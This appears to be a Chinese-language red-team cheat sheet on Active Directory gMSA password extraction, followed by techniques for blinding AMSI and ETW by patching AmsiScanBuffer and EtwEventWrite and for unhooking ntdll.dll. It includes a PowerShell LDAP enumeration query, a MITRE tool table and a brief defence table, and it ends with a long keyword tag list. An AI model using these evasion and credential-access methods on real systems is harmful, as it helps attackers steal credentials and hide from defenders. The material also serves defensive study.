组托管服务帐户 经常用于高权限服务。如果您可以读取 `msDS-ManagedPassword` 属性,您就拥有该服务。 ### 主要工具: * **`GMSAPasswordReader`**:专门用于提取 gMSA 密码。 * **BloodHound**:用于识别哪些用户拥有读取 gMSA 密码的权限。 ### 规避技术 * **LDAP 过滤**:使用有针对性的 LDAP 过滤器仅读取特定的 gMSA 属性(例如,`msDS-GroupMSAMembership`)可以提高性能并通过最大限度地减少不必要的数据暴露来增强安全性。通过减少返回的数据,降低了触发行为警报的风险,例如可能标记未经授权的侦察和枚举活动的 AD 监控警报。 * **有针对性的过滤**:而不是查询所有属性(例如,使用 `*`),而是使用精确的 LDAP 搜索过滤器将结果缩小到所需的对象类,例如 `(&(objectClass=msDS-GroupManagedServiceAccount)(cn=MyGmsa))`。 * **属性选择**:使用带有特定属性列表的 `Set-AD -Properties` 或 `ldap_search` 等工具仅检索所需的数据(例如,`msDS-GroupMSAMembership`)。 * **减少行为警报**:请求大量或敏感属性可能会触发 SIEM 或监控工具。 * **优化性能**:服务器端过滤提高了速度,特别是在大型 Active Directory 环境中。 *减少数据暴露和攻击面**:避免检索额外的敏感或不必要的信息。 **PowerShell 示例**: ``` Get-ADObject -LDAPFilter "(&(objectClass=msDS-GroupManagedServiceAccount)(cn=MyGmsa))" -Properties msDS-GroupMSAMembership ``` ### 红队 TTP 映射表 | 攻击阶段 | 技术 | MITRE TTP | 工具 | | -------- | -------- | -------- | -------- | | 初始 | 强制身份验证 | T1210 | PetitPotam | | 提升 | 影子凭据 | T1098 | Whisker | | 侦察 | gMSA 发现 | T1087.002 | BloodHound | | 移动 | 令牌模拟 | T1134 | Incognito | | 持久化 | 黄金证书 | T1558.001 | ForgeCert | ## 规避和工具命令语法技术深度解析 ### 1. 检测规避深度解析:中和 AMSI 和 ETW 现代端点检测与响应 (EDR) 解决方案主要依靠两个遥测流:**AMSI** 用于基于内存的脚本分析和 **ETW** 用于监控敏感 API 调用(如针对 `lsass.exe` 的 `OpenProcess`)。为了在未被检测到的情况下运行,在执行恶意代码之前定位进程的内存空间以“绑定”这些传感器。 ### 中和反恶意软件扫描接口 (AMSI) AMSI 充当应用程序(如 PowerShell 或 Office 宏)和驻留防病毒软件之间的桥梁。它在执行之前扫描内存中的内容,使传统的基于文件的混淆无效。 * **内存修补 (`AmsiScanBuffer`): * **技术**:使用反射在当前进程内存中的 `amsi.dll` 中定位 `AmsiScanBuffer` 函数。 * **利用**:通过用特定的汇编指令(例如,`ret` 或 `0xCB`)覆盖函数的开头,强制函数立即退出。 * **结果**:函数返回一个恒定的“`AMSI_RESULT_CLEAN`”值,导致大多数 EDR 忽略加载到该特定会话中的任何后续恶意脚本。 * **高级混淆**: * **技术**:使用 Chimera 或 `Invoke-Obfuscation` 等框架以编程方式更改脚本结构。 * **利用**:这包括拆分字符串、在 PowerShell 中使用反引号或在运行时动态构建命令字符串。 * **结果**:这绕过了 AMSI 已知用于识别已知恶意代码块的特征触发器和简单模式匹配。 ### 致盲 Windows 的事件跟踪 (ETW) ETW 是内核级日志记录机制,为 EDR 提供系统活动的“实况解说”,包括网络连接和进程注入。 * **ETW 内存修补**: * **技术**:与 AMSI 修补类似,您定位 `ntdll.dll`,特别是 `EtwEventWrite` 或 `EtwEventWriteFull` 函数。 * **利用**:用 `ret` 指令修补这些函数可防止进程向 OS 事件缓冲区发送遥测数据包。 * **结果**:EDR 对进程的操作(如可疑的 API 调用或跨进程内存调整)保持“盲目”。 * **动态 DLL 取消挂钩**: * **技术**:EDR 经常通过在合法 API 的开头插入跳转指令以将它们重定向到 EDR 检查引擎来挂钩 `ntdll.dll` 中的函数。 * **漏洞利用**:像 `LdrBuiltin` 或 SharpBlock 这样的工具直接从磁盘将 `ntdll.dll` 的全新副本映射到内存中,覆盖被 Hook 的版本。 * **结果**:通过使用未经 Hook 的 DLL 版本,代码直接与内核通信,从而完全绕过 EDR 的拦截逻辑。 ### 检测与防御策略 **组件**:AMSI **规避方法**:`AmsiScanBuffer` Patching(修补) **防御对策**:监控针对 `amsi.dll` 的 `WriteProcessMemory` 调用。
**组件**:ETW **规避方法**:`EtwEventWrite` Patching(修补) **防御对策**:实施“内核回调(Kernel Callbacks)”以独立于 ETW 监控进程行为。
**组件**:EDR Hooks **规避方法**:DLL Unhooking(解除 Hook) **防御对策**:使用“模块加载”监控来检测内存中 `ntdll.dll` 的异常版本。
标签:Active Directory, AD 攻击, AI合规, API接口, Cloudflare, CSV导出, GitHub Advanced Security, MITRE ATT&CK, Modbus, Mr. Robot, OpenCanary, PE 加载器, Plaso, RFI远程文件包含, SamuraiWTF, StruQ, TGT, TTPs, Web报告查看器, Windows 安全, 企业安全, 凭据窃取, 协议分析, 后渗透, 威胁情报, 子域名变形, 安全加固, 安全助手, 安全防御, 开发者工具, 开源软件, 搜索语句(dork), 攻防演练, 数据展示, 无线安全, 权限提升, 模拟器, 横向移动, 知识库安全, 私有化部署, 红队, 编程规范, 网络安全, 网络安全审计, 网络资产管理, 逆向工具, 防御规避, 隐私保护